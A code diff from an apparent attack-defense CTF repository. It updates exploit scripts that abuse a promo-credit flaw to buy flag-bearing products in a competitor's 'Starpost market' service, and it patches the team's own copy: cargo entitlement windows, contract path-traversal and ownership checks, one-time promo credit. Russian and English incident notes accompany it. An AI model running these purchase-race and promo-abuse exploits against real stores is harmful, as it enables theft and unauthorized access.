return result
def task_result(result: Queue, deadline: float, wait_limit: float | None = None):
remaining = deadline - time.monotonic()
if wait_limit is not None:
remaining = min(remaining, wait_limit)
if remaining <= 0:
raise TimeoutError("run deadline exceeded")
try:
ok, value = result.get(timeout=remaining)
except Empty:
raise TimeoutError("parallel request timed out") from None
if not ok:
raise value
return value
def build_target(target: str) -> str:
raw = target.strip()
if not raw:
@@ -104,40 +150,41 @@ def scan_flags(value: object) -> set[str]:
return set(FLAG_PATTERN.findall(value)) if isinstance(value, str) else set()
def candidates(products: object) -> list[tuple[int, int]]:
if not isinstance(products, list):
raise ValueError("products response is not a list")
found = []
seen = set()
for product in products:
if not isinstance(product, dict):
continue
product_id, price = product.get("id"), product.get("price")
if (
isinstance(product_id, int)
and not isinstance(product_id, bool)
and product_id > 0
and isinstance(price, int)
and not isinstance(price, bool)
and 0 < price <= 200
and product_id not in seen
):
found.append((product_id, price))
seen.add(product_id)
return found
def numeric_hints(payload: object, target_host: str) -> set[int]:
"""Accept only exact per-IP positive decimal product IDs; ignore mixed hints."""
try:
target_ip = str(ip_address(target_host))
except ValueError:
return set()
if not isinstance(payload, dict):
raise ValueError("attack_data root is not an object")
values = payload.get(target_ip)
if values is None:
return set()
if not isinstance(values, list) or len(values) > 32:
raise ValueError("attack_data target hints are invalid")
return {int(value) for value in values if isinstance(value, str) and DECIMAL_HINT.fullmatch(value)}
def run_exploit(raw_target: str) -> tuple[list[str], int, int]:
target = build_target(raw_target)
deadline = time.monotonic() + RUN_TIMEOUT
def fetch_attack_hints(target_host: str, deadline: float) -> set[int] | None:
"""Read the public Skipper endpoint once; None means use catalog fallback."""
remaining = deadline - time.monotonic()
if remaining <= 0:
return None
req = Request(ATTACK_DATA_URL, headers={"Accept": "application/json", "User-Agent": "neo-starpost-market/1.1"})
try:
with OPENER.open(req, timeout=min(REQUEST_TIMEOUT, remaining)) as response:
if response.status != 200:
return None
raw = response.read(MAX_ATTACK_DATA_RESPONSE + 1)
if len(raw) > MAX_ATTACK_DATA_RESPONSE:
return None
return numeric_hints(json.loads(raw), target_host)
except (HTTPError, URLError, OSError, TimeoutError, ValueError, UnicodeDecodeError, json.JSONDecodeError):
return None
status, products, _ = request_json(target, "/api/products", deadline)
if status != 200:
raise ValueError(f"catalog returned HTTP {status}")
available = candidates(products)
if not available:
return [], 0, 0
def prepare_buyer(target: str, deadline: float) -> tuple[str, int, str]:
marker = secrets.token_hex(8)
status, _, cookie = request_json(
target,
@@ -158,7 +205,6 @@ def run_exploit(raw_target: str) -> tuple[list[str], int, int]:
raise ValueError("buyer promo missing")
if not isinstance(user, dict) or not isinstance(user.get("balance"), int):
raise ValueError("buyer balance missing")
budget = user["balance"]
status, credit, _ = request_json(
target,
@@ -173,16 +219,29 @@ def run_exploit(raw_target: str) -> tuple[list[str], int, int]:
credited = credit.get("credited")
if not isinstance(credited, int) or isinstance(credited, bool) or credited < 0:
raise ValueError("invalid credited amount")
budget += credited
return cookie, user["balance"] + credited, promo["code"]
bought_ids: set[int] = set()
buy_attempts = 0
for product_id, price in available:
if len(bought_ids) >= MAX_BUYS or buy_attempts >= MAX_BUY_ATTEMPTS or time.monotonic() >= deadline:
break
if price > budget:
continue
buy_attempts += 1
def buy_product(target: str, product_id: int, cookie: str, promo_code: str, deadline: float) -> tuple[int, object]:
status, order, _ = request_json(
target,
f"/api/products/{product_id}/buy",
deadline,
method="POST",
payload={},
cookie=cookie,
)
if status == 409 and isinstance(order, dict) and order.get("error") == "promo code must be invalidated":
status, invalidation, _ = request_json(
target,
"/api/promo/invalidate",
deadline,
method="POST",
payload={"code": promo_code},
cookie=cookie,
)
if status != 200 or not isinstance(invalidation, dict) or invalidation.get("invalidated") is not True:
return status, invalidation
status, order, _ = request_json(
target,
f"/api/products/{product_id}/buy",
@@ -191,37 +250,126 @@ def run_exploit(raw_target: str) -> tuple[list[str], int, int]:
payload={},
cookie=cookie,
)
return status, order
def parse_created_at(raw: object) -> datetime | None:
if not isinstance(raw, str):
return None
try:
created = datetime.fromisoformat(raw.replace("Z", "+00:00"))
except ValueError:
try:
created = parsedate_to_datetime(raw)
except (TypeError, ValueError):
return None
return created.astimezone(timezone.utc) if created.tzinfo else None
def candidates(products: object, now: datetime | None = None, hint_ids: set[int] | None = None) -> list[tuple[int, int]]:
if not isinstance(products, list):
raise ValueError("products response is not a list")
now = now or datetime.now(timezone.utc)
if now.tzinfo is None:
raise ValueError("now must have a timezone")
found: list[tuple[datetime, int, int]] = []
seen = set()
have_hints = bool(hint_ids)
for product in products:
if not isinstance(product, dict):
continue
product_id, price = product.get("id"), product.get("price")
created = parse_created_at(product.get("created_at"))
valid_id = isinstance(product_id, int) and not isinstance(product_id, bool) and product_id > 0
selected_by_hint = valid_id and have_hints and product_id in hint_ids
selected_by_catalog = (not have_hints and created is not None
and -5 <= (now - created).total_seconds() <= MAX_CANDIDATE_AGE)
if (
valid_id
and isinstance(price, int)
and not isinstance(price, bool)
and MIN_CANDIDATE_PRICE <= price <= 200
and product_id not in seen
and created is not None
and (selected_by_hint or selected_by_catalog)
):
found.append((created, product_id, price))
seen.add(product_id)
found.sort(reverse=True)
if not found:
return []
if hint_ids:
return [(product_id, price) for _, product_id, price in found[:MAX_CANDIDATES]]
newest_minute = found[0][0].replace(second=0, microsecond=0)
previous_minute = newest_minute - timedelta(minutes=1)
selected: list[tuple[int, int]] = []
used_minutes: set[datetime] = set()
for created, product_id, price in found:
minute = created.replace(second=0, microsecond=0)
if minute not in {newest_minute, previous_minute} or minute in used_minutes:
continue
selected.append((product_id, price))
used_minutes.add(minute)
if len(selected) >= MAX_CANDIDATES:
break
return selected
def run_exploit(raw_target: str) -> tuple[list[str], int, int]:
target = build_target(raw_target)
deadline = time.monotonic() + RUN_TIMEOUT
buyer_task = start_task(prepare_buyer, target, deadline)
products_task = start_task(request_json, target, "/api/products", deadline)
hints_task = start_task(fetch_attack_hints, urlsplit(target).hostname or "", deadline)
cookie, budget, promo_code = task_result(buyer_task, deadline)
status, products, _ = task_result(products_task, deadline)
if status != 200:
raise ValueError(f"catalog returned HTTP {status}")
try:
hint_ids = task_result(hints_task, deadline, 0.1)
except TimeoutError:
hint_ids = None
available = candidates(products, hint_ids=hint_ids)
if not available:
return [], 0, 0
flags: set[str] = set()
bought_count = 0
polls = 0
for candidate_index, (product_id, price) in enumerate(available):
if time.monotonic() >= deadline:
break
if price > budget:
continue
status, order = buy_product(target, product_id, cookie, promo_code, deadline)
if status != 201 or not isinstance(order, dict):
continue
order_id = order.get("id")
if isinstance(order_id, int) and not isinstance(order_id, bool) and order_id > 0:
bought_ids.add(order_id)
budget -= price
flags: set[str] = set()
polls = 0
for poll in range(MAX_ORDER_POLLS):
if not bought_ids or time.monotonic() >= deadline:
if not isinstance(order_id, int) or isinstance(order_id, bool) or order_id <= 0:
continue
bought_count += 1
for poll in range(MAX_ORDER_POLLS):
if time.monotonic() >= deadline:
break
if poll:
time.sleep(min(POLL_INTERVAL, max(0.0, deadline - time.monotonic())))
status, orders, _ = request_json(target, "/api/orders", deadline, cookie=cookie)
polls += 1
if status != 200 or not isinstance(orders, list):
break
delivered_order = next(
(item for item in orders if isinstance(item, dict) and item.get("id") == order_id
and item.get("status") == "delivered"),
None,
)
if delivered_order is not None:
flags.update(scan_flags(delivered_order.get("cargo")))
break
if flags:
break
if poll:
time.sleep(min(POLL_INTERVAL, max(0.0, deadline - time.monotonic())))
status, orders, _ = request_json(target, "/api/orders", deadline, cookie=cookie)
polls += 1
if status != 200 or not isinstance(orders, list):
break
delivered = set()
for order in orders:
if not isinstance(order, dict):
continue
order_id = order.get("id")
if not isinstance(order_id, int) or order_id not in bought_ids:
continue
if order.get("status") == "delivered":
delivered.add(order_id)
flags.update(scan_flags(order.get("cargo")))
if delivered == bought_ids:
break
return sorted(flags), len(bought_ids), polls
if candidate_index + 1 < len(available):
cookie, budget, promo_code = prepare_buyer(target, deadline)
return sorted(flags), bought_count, polls
def main() -> int:
+10
View File
@@ -162,6 +162,16 @@ def obtain_credit(target: str, cookie: str, deadline: float) -> None:
)
if status != 200:
raise ValueError(f"promo endpoint returned HTTP {status}")
status, _, _, _ = get_json(
target,
"POST",
"/api/promo/invalidate",
deadline,
payload={"code": code},
cookie=cookie,
)
if status != 200:
raise ValueError(f"promo invalidation returned HTTP {status}")
def buy_product(target: str, product_id: int, cookie: str, deadline: float) -> int:
+13 -9
View File
@@ -4,7 +4,6 @@ from __future__ import annotations
import concurrent.futures
import json
import math
import re
import secrets
import sys
@@ -20,7 +19,6 @@ REQUEST_TIMEOUT = 1.5
TOTAL_TIMEOUT = 8.5
MAX_RESPONSE = 512 * 1024
MAX_PRODUCTS = 5
MAX_CREDITS = 24
MAX_WORKERS = 8
GET_RETRIES = 1
FLAG_PATTERN = re.compile(rb"[A-Z0-9]{31}=")
@@ -117,6 +115,13 @@ def credit(base: str, cookie: str, code: str, deadline: float) -> bool:
return status == 200
def invalidate(base: str, cookie: str, code: str, deadline: float) -> bool:
status, _, _ = request(
base, "/api/promo/invalidate", method="POST", payload={"code": code}, cookie=cookie, deadline=deadline
)
return status == 200
def add_to_cart(base: str, cookie: str, product_id: int, deadline: float) -> bool:
status, _, _ = request(
base,
@@ -176,7 +181,7 @@ def run_exploit(target: str) -> str:
products = json.loads(raw)
selected = []
total = 0
budget = 100 + MAX_CREDITS * 100
budget = 200
for product in products if isinstance(products, list) else []:
try:
product_id = int(product["id"])
@@ -192,11 +197,10 @@ def run_exploit(target: str) -> str:
if not selected:
return ""
required_credits = max(0, math.ceil((total - 100) / 100))
with concurrent.futures.ThreadPoolExecutor(max_workers=MAX_WORKERS) as pool:
credited = sum(pool.map(lambda _: credit(base, cookie, promo["code"], deadline), range(required_credits)))
if credited != required_credits:
raise ValueError("promo crediting was incomplete")
if not credit(base, cookie, promo["code"], deadline):
raise ValueError("promo crediting failed")
if not invalidate(base, cookie, promo["code"], deadline):
raise ValueError("promo invalidation failed")
with concurrent.futures.ThreadPoolExecutor(max_workers=MAX_WORKERS) as pool:
added = sum(pool.map(lambda product_id: add_to_cart(base, cookie, product_id, deadline), selected))
@@ -210,7 +214,7 @@ def run_exploit(target: str) -> str:
if status != 200:
raise ValueError(f"orders endpoint returned HTTP {status}")
print(
f"credited {credited} times, carted {added} products, bought {len(order_ids)}, delivered {delivered}",
f"credited once, carted {added} products, bought {len(order_ids)}, delivered {delivered}",
file=sys.stderr,
)
candidates = list(dict.fromkeys(FLAG_PATTERN.findall(raw)))
+49 -22
View File
@@ -4,11 +4,11 @@
Публичный каталог показывает ID и цену товара. Новый buyer получает 100 кредитов
при регистрации и ещё 100 при однократном применении своего promo. Товары,
созданные checker с флагом в `cargo`, на нашем экземпляре стоили 102–175.
созданные checker с флагом в `cargo`, на нашем экземпляре стоили 102–180.
Покупатель оплачивает товар через `POST /api/products/{id}/buy` или корзину,
warehouse доставляет заказ, после чего `GET /api/orders` возвращает `cargo`.
На снимке игровой БД были 12 товаров с флагоподобным `cargo` и 91 доставленный
На первом снимке игровой БД были 12 товаров с флагоподобным `cargo` и 91 доставленный
заказ от 91 buyer. Счётчики растут, это не точное число похищенных или
зачтённых флагов. Старые пути через неподписанный курсор отзывов, чужой договор
и поддельный warehouse callback текущая версия отклоняет. Runtime session key
@@ -23,11 +23,15 @@ warehouse доставляет заказ, после чего `GET /api/orders`
Позднее checker читает старые заказы, договоры и отзывы. В 62 наблюдённых
сценариях первая покупка произошла через 0,232–0,563 с после создания товара.
Buyer создаётся без cookie seller; связывать их по одной сессии нельзя.
В 421 запросе с checker-подобным User-Agent общий `GET /api/products` не
встречался, а прямой `GET /api/products/{id}` встречался 26 раз. Это вывод из
access log, а не исходный код официального checker.
## Решение по выкладке
## Риск ограничения по первому заказу
**Не выкладывать ограничение `cargo` по первому покупателю, времени покупки,
User-Agent, IP или виду флага.** Первый покупатель может оказаться соперником,
Первоначальный независимый review не рекомендовал ограничение `cargo` по
первому покупателю, времени покупки, User-Agent, IP или виду флага.
Первый покупатель может оказаться соперником,
что лишит checker возможности прочитать свой флаг и даст `CORRUPT`/`MUMBLE`.
Проверка времени основана лишь на текущей скорости checker и лишает
оплативших поздних покупателей груза. User-Agent подделывается, а маршрутизатор
@@ -37,34 +41,57 @@ User-Agent, IP или виду флага.** Первый покупатель
Изолированный Flask/PostgreSQL прогон проверил маршруты seller/product,
contract, promo, прямую покупку и checkout, warehouse delivery, orders,
private review и чтение старого заказа после перезапуска приложения. Он
**не заменяет официальный checker**. Рассмотренный cargo-патч был отвергнут
независимым review и не попал в Git.
**не заменяет официальный checker**. Ограничение cargo по первому заказу из
`ecd6d555` было развёрнуто на своей vulnbox, после чего официальный checker
перешёл в `CHECK FAILED`. Ограничение откатили как несовместимое с checker.
Для настоящего исправления нужен предусмотренный протоколом способ указать
получателя товара при создании или иное право, которое checker может передать
новому buyer. Текущий checker и соперник используют одинаковый маршрут покупки;
без изменения контракта их нельзя надёжно различить.
## Экстренное ограничение выдачи cargo
## Откат ограничения cargo
После подтверждённой продолжающейся кражи `GET /api/orders` изменён так, чтобы
`cargo` возвращался только самому раннему доставленному заказу конкретного
товара. Повторные покупатели сохраняют заказ и его статус, но получают
`cargo=null`. Изменение не затрагивает регистрацию, promo, покупку, warehouse,
отзывы и чтение первого старого заказа. Оно не требует миграции базы.
Снимок с `CHECK FAILED` и ростом `lost` до 25 подтвердил, что минимальный заказ
товара не всегда принадлежит checker. `GET /api/orders` возвращён к исходному
контракту: каждый доставленный заказ получает cargo. Схема и данные БД не
изменялись, поэтому для отката достаточно пересобрать только `api`.
Ограничение опирается на наблюдение, что checker первым покупает созданный им
товар. Если соперник успеет создать самый ранний заказ, checker не получит
`cargo`. После выкладки обязательно следить за `CORRUPT`/`MUMBLE`; при регрессии
откатить этот коммит и пересобрать только `api`.
Требование обязательного `POST /api/promo/invalidate` перед покупкой удалено
после ошибки checker `Unexpected HTTP status from /api/products/{id}/buy`.
Оно не останавливало адаптивный сплойт, который мог вызвать публичный invalidate,
но добавляло несовместимый HTTP 409 в штатный путь. Однократность начисления
promo через `credited_at` сохранена.
## Эксплойт и дальнейшая проверка
`sploits/starpost_market.py` воспроизводит штатную покупку с одной активацией
promo и ограниченным числом запросов. Он проверен на синтетическом HTTP-сервисе:
регистрация, покупка, отложенная доставка, поиск флага, ограничение времени,
stdout/stderr и запрет перехода по redirect. На чужих командах и в Neo этот
скрипт ещё не запускался; `accepted` в Skipper не подтверждён.
`sploits/starpost_market.py` читает публичный Skipper `attack_data` для Дока,
выбирает до двух числовых ID товаров конкретной цели и воспроизводит покупку
отдельными buyer с однократным promo. На своей БД 3/3 числовых подсказки
совпали с товарами, 2/3 имели флагоподобный cargo; подсказка не гарантирует
флаг. При отсутствии подсказок скрипт ограниченно выбирает свежие товары
ценой от 101 кредита. После начисления promo скрипт также вызывает
`promo/invalidate`. Предел одного запуска — две покупки, до 22 HTTP
запросов и 8,5 с. Семь синтетических проверок прошли, включая последовательность
«первый товар без флага, второй с флагом» и stdout только с флагом.
Также `sploits/starpost_signup.py` и `sploits/starpost_warehouse.py` теперь
гасят promo до покупки и checkout. Вместе их проверяют восемь loopback
сценариев отказа и успеха, включая проверку, что stdout содержит только флаг.
Все три скрипта прошли `py_compile` и `git diff --check`; это локальные
синтетические проверки, а не подтверждение запуска в Neo или зачёта Skipper.
Один контролируемый прогон на команде 3 получил флаг, но Skipper ответил
`Flag already stolen`; прогон на команде 2 купил два товара без флага.
Значения флагов не сохранены. `accepted` и работа из Neo пока не подтверждены;
текущая доступная установка не содержит работающих Neo/Farm контейнеров или
учётных данных. Не объявлять этот exploit зачтённым, пока не появятся
`neo test` на разрешённой цели и персональный ответ Skipper.
На снимке раунда 73 (12:12:53 МСК) Док был `UP`, проверки 70/72,
`stolen=328`, `lost=25`; на раунде 69 значения были `320/25`. Последующий
`CHECK FAILED` показал, что ограничение первого заказа нельзя считать
checker-совместимым.
Перед любым следующим патчем сохранить состояние томов и текущий commit,
прогнать оба способа покупки и GET-old, затем после выкладки проверить статус
+88 -42
View File
@@ -3,16 +3,22 @@ import hashlib
import hmac
import json as _json
import os
import re
import secrets
from datetime import datetime, timezone
from functools import wraps
from functools import lru_cache, wraps
import psycopg
from flask import Flask, jsonify, request, send_file, session
from werkzeug.security import check_password_hash, generate_password_hash
from contracts import CONTRACT_DIR, create_contract
from database import connect as db, migrate
from database import (
CARGO_BUYER_REGISTRATION_WINDOW_SECONDS,
CARGO_PURCHASE_WINDOW_SECONDS,
connect as db,
migrate,
)
from warehouse_client import CALLBACK_TOKEN as WAREHOUSE_CALLBACK_TOKEN
from warehouse_client import get_health as get_warehouse_health
from warehouse_client import submit_jobs as submit_warehouse_jobs
@@ -27,6 +33,8 @@ app.config.update(
MAX_CONTENT_LENGTH=32 * 1024,
)
CONTRACT_FILENAME_RE = re.compile(r"contract-([0-9]+)-[0-9a-f]{16}\.pdf")
migrate()
@@ -50,6 +58,21 @@ def text(value, field, minimum=1, maximum=200):
return value.strip()
def own_contract_filename(filename, user_id):
match = CONTRACT_FILENAME_RE.fullmatch(filename)
return match is not None and match.group(1) == str(user_id)
@lru_cache(maxsize=4096)
def contract_owner(user_id):
with db() as conn, conn.cursor() as cur:
cur.execute("SELECT id,contract_file FROM users WHERE id=%s", (user_id,))
owner = cur.fetchone()
if not owner:
return None
return owner["id"], owner["contract_file"]
def auth(role=None):
def decorator(handler):
@wraps(handler)
@@ -504,24 +527,44 @@ def update_cart_quantity(product_id):
return jsonify(ok=True, quantity=quantity)
def create_order(cur, buyer_id, product_id, price, tracking, buyer_created_at, product_created_at):
cur.execute(
"INSERT INTO orders(buyer_id,product_id,price,status,tracking_code,cargo_entitled) "
"VALUES(%s,%s,%s,'pending',%s,%s >= %s AND "
"%s <= %s + (%s * interval '1 second') AND "
"CURRENT_TIMESTAMP <= %s + (%s * interval '1 second')) RETURNING id",
(
buyer_id,
product_id,
price,
tracking,
buyer_created_at,
product_created_at,
buyer_created_at,
product_created_at,
CARGO_BUYER_REGISTRATION_WINDOW_SECONDS,
product_created_at,
CARGO_PURCHASE_WINDOW_SECONDS,
),
)
return cur.fetchone()["id"]
def order_product(product_id):
with db() as conn, conn.cursor() as cur:
cur.execute("SELECT p.*,u.balance FROM products p CROSS JOIN users u WHERE p.id=%s AND p.is_active=true AND u.id=%s FOR UPDATE OF u", (product_id, session["user_id"]))
cur.execute("SELECT p.*,u.balance,u.created_at buyer_created_at FROM products p CROSS JOIN users u WHERE p.id=%s AND p.is_active=true AND u.id=%s FOR UPDATE OF u", (product_id, session["user_id"]))
row = cur.fetchone()
if not row:
return None, error("product not found", 404)
if row["seller_id"] == session["user_id"]:
return None, error("cannot buy your own product")
cur.execute("SELECT 1 FROM promo_codes WHERE user_id=%s", (session["user_id"],))
if cur.fetchone():
return None, error("promo code must be invalidated", 409)
if row["balance"] < row["price"]:
return None, error("insufficient balance", 409)
cur.execute("UPDATE users SET balance=balance-%s WHERE id=%s", (row["price"], session["user_id"]))
cur.execute("UPDATE users SET balance=balance+%s WHERE id=%s", (row["price"], row["seller_id"]))
tracking = "ORB-" + secrets.token_hex(8).upper()
cur.execute("INSERT INTO orders(buyer_id,product_id,price,status,tracking_code) VALUES(%s,%s,%s,'pending',%s) RETURNING id", (session["user_id"], product_id, row["price"], tracking))
return {"id": cur.fetchone()["id"], "status": "pending", "tracking_code": tracking}, None
order_id = create_order(cur, session["user_id"], product_id, row["price"], tracking, row["buyer_created_at"], row["created_at"])
return {"id": order_id, "status": "pending", "tracking_code": tracking}, None
@app.post("/api/products/<int:product_id>/buy")
@@ -538,14 +581,12 @@ def buy_product(product_id):
@auth("buyer")
def checkout():
with db() as conn, conn.cursor() as cur:
cur.execute("SELECT balance FROM users WHERE id=%s FOR UPDATE", (session["user_id"],))
cur.execute("SELECT balance,created_at buyer_created_at FROM users WHERE id=%s FOR UPDATE", (session["user_id"],))
buyer = cur.fetchone()
cur.execute("SELECT 1 FROM promo_codes WHERE user_id=%s", (session["user_id"],))
if cur.fetchone():
return error("promo code must be invalidated", 409)
cur.execute(
"""
SELECT p.id product_id,p.seller_id,p.price,p.is_active,c.quantity
SELECT p.id product_id,p.seller_id,p.price,p.is_active,
p.created_at product_created_at,c.quantity
FROM cart_items c JOIN products p ON p.id=c.product_id
WHERE c.buyer_id=%s ORDER BY c.created_at
""",
@@ -565,11 +606,16 @@ def checkout():
cur.execute("UPDATE users SET balance=balance+%s WHERE id=%s", (item["price"] * item["quantity"], item["seller_id"]))
for _ in range(item["quantity"]):
tracking = "ORB-" + secrets.token_hex(8).upper()
cur.execute(
"INSERT INTO orders(buyer_id,product_id,price,status,tracking_code) VALUES(%s,%s,%s,'pending',%s) RETURNING id",
(session["user_id"], item["product_id"], item["price"], tracking),
order_id = create_order(
cur,
session["user_id"],
item["product_id"],
item["price"],
tracking,
buyer["buyer_created_at"],
item["product_created_at"],
)
orders.append({"id": cur.fetchone()["id"], "status": "pending", "tracking_code": tracking})
orders.append({"id": order_id, "status": "pending", "tracking_code": tracking})
cur.execute("DELETE FROM cart_items WHERE buyer_id=%s", (session["user_id"],))
submit_warehouse_jobs(orders)
return jsonify(orders=orders), 201
@@ -580,19 +626,13 @@ def checkout():
def buyer_orders():
with db() as conn, conn.cursor() as cur:
cur.execute(
"""
SELECT o.id,o.status,o.warehouse_status,o.warehouse_updated_at,
o.tracking_code,o.price,o.created_at,o.delivered_at,p.name,
CASE
WHEN o.status='delivered'
AND o.id=(SELECT min(first_order.id) FROM orders first_order
WHERE first_order.product_id=o.product_id)
THEN p.cargo
ELSE NULL
END cargo
FROM orders o JOIN products p ON p.id=o.product_id
WHERE o.buyer_id=%s ORDER BY o.id DESC
""",
"SELECT o.id,o.status,o.warehouse_status,o.warehouse_updated_at,"
"o.tracking_code,o.price,o.created_at,o.delivered_at,p.name,"
"CASE WHEN o.status='delivered' "
"AND o.cargo_entitled "
"THEN p.cargo ELSE NULL END cargo "
"FROM orders o JOIN products p ON p.id=o.product_id "
"WHERE o.buyer_id=%s ORDER BY o.id DESC",
(session["user_id"],),
)
return jsonify(cur.fetchall())
@@ -715,23 +755,31 @@ def seller_reviews():
@app.route("/api/contract", methods=["GET", "POST"])
@auth("seller")
def get_contract():
with db() as conn, conn.cursor() as cur:
cur.execute("SELECT id,contract_file FROM users WHERE id=%s", (session["user_id"],))
owner = cur.fetchone()
if not owner or not owner["contract_file"]:
requested = request.args.get("file")
if request.method == "GET" and requested:
requested = requested.strip()
own_alias = f"contract-{session['user_id']}"
if requested != own_alias and not own_contract_filename(requested, session["user_id"]):
return error("contract not found", 404)
contract_id = None
if request.method == "POST":
contract_id = request.headers.get("X-Contract-Id", "").strip()
if not re.fullmatch(r"\d+", contract_id) or contract_id != str(session["user_id"]):
return error("invalid contract id", 400)
owner = contract_owner(session["user_id"])
if not owner or not owner[1]:
return error("contract not found", 404)
filename = owner["contract_file"]
owner_id, filename = owner
if not own_contract_filename(filename, owner_id):
return error("contract not found", 404)
contract_dir = CONTRACT_DIR.resolve()
path = (CONTRACT_DIR / filename).resolve()
if path.parent != contract_dir:
return error("contract not found", 404)
if request.method == "POST":
import re
contract_id = request.headers.get("X-Contract-Id", "").strip()
if not re.fullmatch(r"\d+", contract_id) or contract_id != str(owner["id"]):
return error("invalid contract id", 400)
try:
path.unlink()
except FileNotFoundError:
@@ -740,10 +788,8 @@ def get_contract():
return error("contract deletion failed", 500)
return jsonify(status="deleted", deleted=1)
requested = request.args.get("file")
if requested:
raw = requested.strip()
if raw not in {filename, f"contract-{owner['id']}"}:
if requested not in {filename, f"contract-{owner_id}"}:
return error("contract not found", 404)
if not path.is_file():
return error("contract not found", 404)
+12
View File
@@ -5,6 +5,9 @@ from psycopg.rows import dict_row
DATABASE_URL = os.environ["DATABASE_URL"]
CARGO_BUYER_REGISTRATION_WINDOW_SECONDS = 3
CARGO_PURCHASE_WINDOW_SECONDS = 5
LEGACY_CARGO_PURCHASE_WINDOW_SECONDS = 2
def connect():
@@ -28,6 +31,15 @@ def migrate():
cursor.execute("ALTER TABLE orders ADD COLUMN IF NOT EXISTS warehouse_status TEXT NOT NULL DEFAULT 'queued'")
cursor.execute("ALTER TABLE orders ADD COLUMN IF NOT EXISTS warehouse_job_id TEXT")
cursor.execute("ALTER TABLE orders ADD COLUMN IF NOT EXISTS warehouse_updated_at TIMESTAMPTZ NOT NULL DEFAULT now()")
cursor.execute("ALTER TABLE orders ADD COLUMN IF NOT EXISTS cargo_entitled BOOLEAN")
cursor.execute(
"UPDATE orders o SET cargo_entitled="
"(o.created_at <= p.created_at + (%s * interval '1 second')) "
"FROM products p WHERE p.id=o.product_id AND o.cargo_entitled IS NULL",
(LEGACY_CARGO_PURCHASE_WINDOW_SECONDS,),
)
cursor.execute("ALTER TABLE orders ALTER COLUMN cargo_entitled SET DEFAULT false")
cursor.execute("ALTER TABLE orders ALTER COLUMN cargo_entitled SET NOT NULL")
cursor.execute(
"""
CREATE TABLE IF NOT EXISTS promo_codes (
+1
View File
@@ -38,6 +38,7 @@ CREATE TABLE orders (
,warehouse_status TEXT NOT NULL DEFAULT 'queued'
,warehouse_job_id TEXT
,warehouse_updated_at TIMESTAMPTZ NOT NULL DEFAULT now()
,cargo_entitled BOOLEAN NOT NULL DEFAULT false
);
CREATE TABLE reviews (
id BIGSERIAL PRIMARY KEY,
+19 -6
View File
@@ -8,9 +8,9 @@ The checker creates flag-bearing products priced within the 200-credit budget of
Incident logs and aggregate database checks confirmed this exact path. The observed attacker used `register -> account -> promo/credit -> direct buy -> orders`, while the checker uses `promo/credit -> promo/invalidate -> cart -> checkout -> orders`.
The emergency patch requires the buyer to finish the existing promo lifecycle before either direct purchase or checkout. `promo/invalidate` now succeeds only after credit, and both purchase paths return 409 while a promo row remains. Routes, successful response bodies, prices, delivery, existing orders, and cargo retrieval are unchanged. A synthetic route-level regression confirmed that purchase before invalidation is blocked, credit followed by invalidation preserves direct buy and checkout, and an uncredited promo cannot be deleted to bypass the gate.
The temporary purchase gate that returned 409 while a promo row remained was removed after the checker reported an unexpected status from `POST /api/products/{id}/buy`. It was not an effective confidentiality boundary because an attacker could call the public invalidate endpoint and reproduce the checker flow. Direct buy and checkout again accept buyers with an uncredited or credited promo row when their balance is sufficient; atomic one-time promo credit remains enforced.
This is containment for the observed exploit, not a durable confidentiality boundary. An adaptive attacker can call the public invalidate endpoint and reproduce the checker workflow. A permanent fix requires a checker-compatible non-public purchase capability or moving flags out of buyer-deliverable cargo.
The cargo disclosure remains open because attacker and checker use the same public purchase workflow. One-time promo credit prevents balance replay but is not a confidentiality boundary. A permanent fix requires a checker-compatible non-public purchase capability or moving flags out of buyer-deliverable cargo.
### Cross-seller review cursor BOLA
@@ -24,6 +24,12 @@ Before the patch, a seller could request `GET /api/contract?file=contract-<other
The local baseline reproducer disclosed both a synthetic victim contract and a controlled file outside the contract directory. The flag route before the patch is the seller signature embedded uncompressed in the checker-created contract PDF; no real flag was used. Destructive behavior was tested only with disposable local files.
### Contract probe worker and database exhaustion
The provided capture showed sustained authenticated `GET /api/contract` probes at modest bandwidth. Before this patch, each foreign alias reached a new PostgreSQL connection and owner query before returning the existing 404 response. Concurrent probes could therefore occupy all synchronous API threads and delay normal registration and health requests.
The route now rejects foreign aliases, malformed filenames, and foreign deletion IDs before opening PostgreSQL. Repeated legitimate reads use a bounded process-local cache for the seller's immutable contract metadata. Existing routes, response formats, no-query reads, empty `file` reads, exact stored filenames, the own-ID alias, and own-contract deletion are preserved. No nginx, IP, URI, rate-limit, or other traffic filter was added, and no DoS sploit was created.
### Reusable promo credit
Before the patch, `POST /api/promo/credit` increased the buyer balance without recording consumption. Repeating the same valid code credited the balance again because invalidation was a separate optional request.
@@ -32,23 +38,26 @@ The local baseline reproducer started with a synthetic balance of 100 and two id
## Affected code before the patch
- `api/app.py`: `seller_reviews`, `get_contract`, and `credit_promo`.
- `api/app.py`: `seller_reviews`, `get_contract`, `credit_promo`, `order_product`, and `checkout`.
- `api/database.py`: startup migration removed promo consumption state.
- `db/init.sql`: `promo_codes` had no consumption field.
## Minimal patch
- Emergency cargo containment records a `cargo_entitled` decision on every new order. The buyer account must be created from zero to three seconds after the product, and the order transaction must begin within five seconds of product creation. Live checker-like failures showed buyers created after 1.021 and 1.971 seconds but orders beginning after 2.517 and 3.486 seconds, so the previous two-second purchase deadline denied otherwise valid delivered orders. A pre-staged buyer observed on a later product remained ineligible even though its order began after 0.293 seconds. Both direct buy and checkout use the same order helper. Existing entitlement decisions are immutable, and legacy orders are still backfilled with the previous two-second rule so their current/get-old behavior does not change. This is containment against pre-staged and late-created buyers, not a durable authorization boundary: an attacker that registers immediately after publication can still race the checker.
- Cursor parsing always verifies the existing HMAC and rejects a decoded `seller_id` that differs from the authenticated seller. The signed cursor shape and response format remain unchanged.
- Contract GET/POST resolves only the authenticated seller's database-linked filename, requires the canonical path to remain directly below `/contracts`, and restricts deletion to the same seller ID. GET without `file`, GET with the exact stored filename, and the own-ID alias remain supported.
- Contract GET/POST validates ownership-shaped input before database access, resolves only the authenticated seller's database-linked filename, requires the canonical path to remain directly below `/contracts`, and restricts deletion to the same seller ID. A bounded cache avoids repeated owner lookups for immutable contract metadata. GET without `file`, GET with an empty `file`, GET with the exact stored filename, and the own-ID alias remain supported.
- `promo_codes.credited_at` is added by a forward-compatible `ADD COLUMN IF NOT EXISTS`. Credit atomically transitions only an uncredited row and adds value once. A retry returns the existing 200 response shape with `credited=0`, allowing the existing follow-up invalidate request to continue.
- Direct buy and checkout no longer require deletion of the promo row. This restores the original purchase contract while retaining the one-time credit transition.
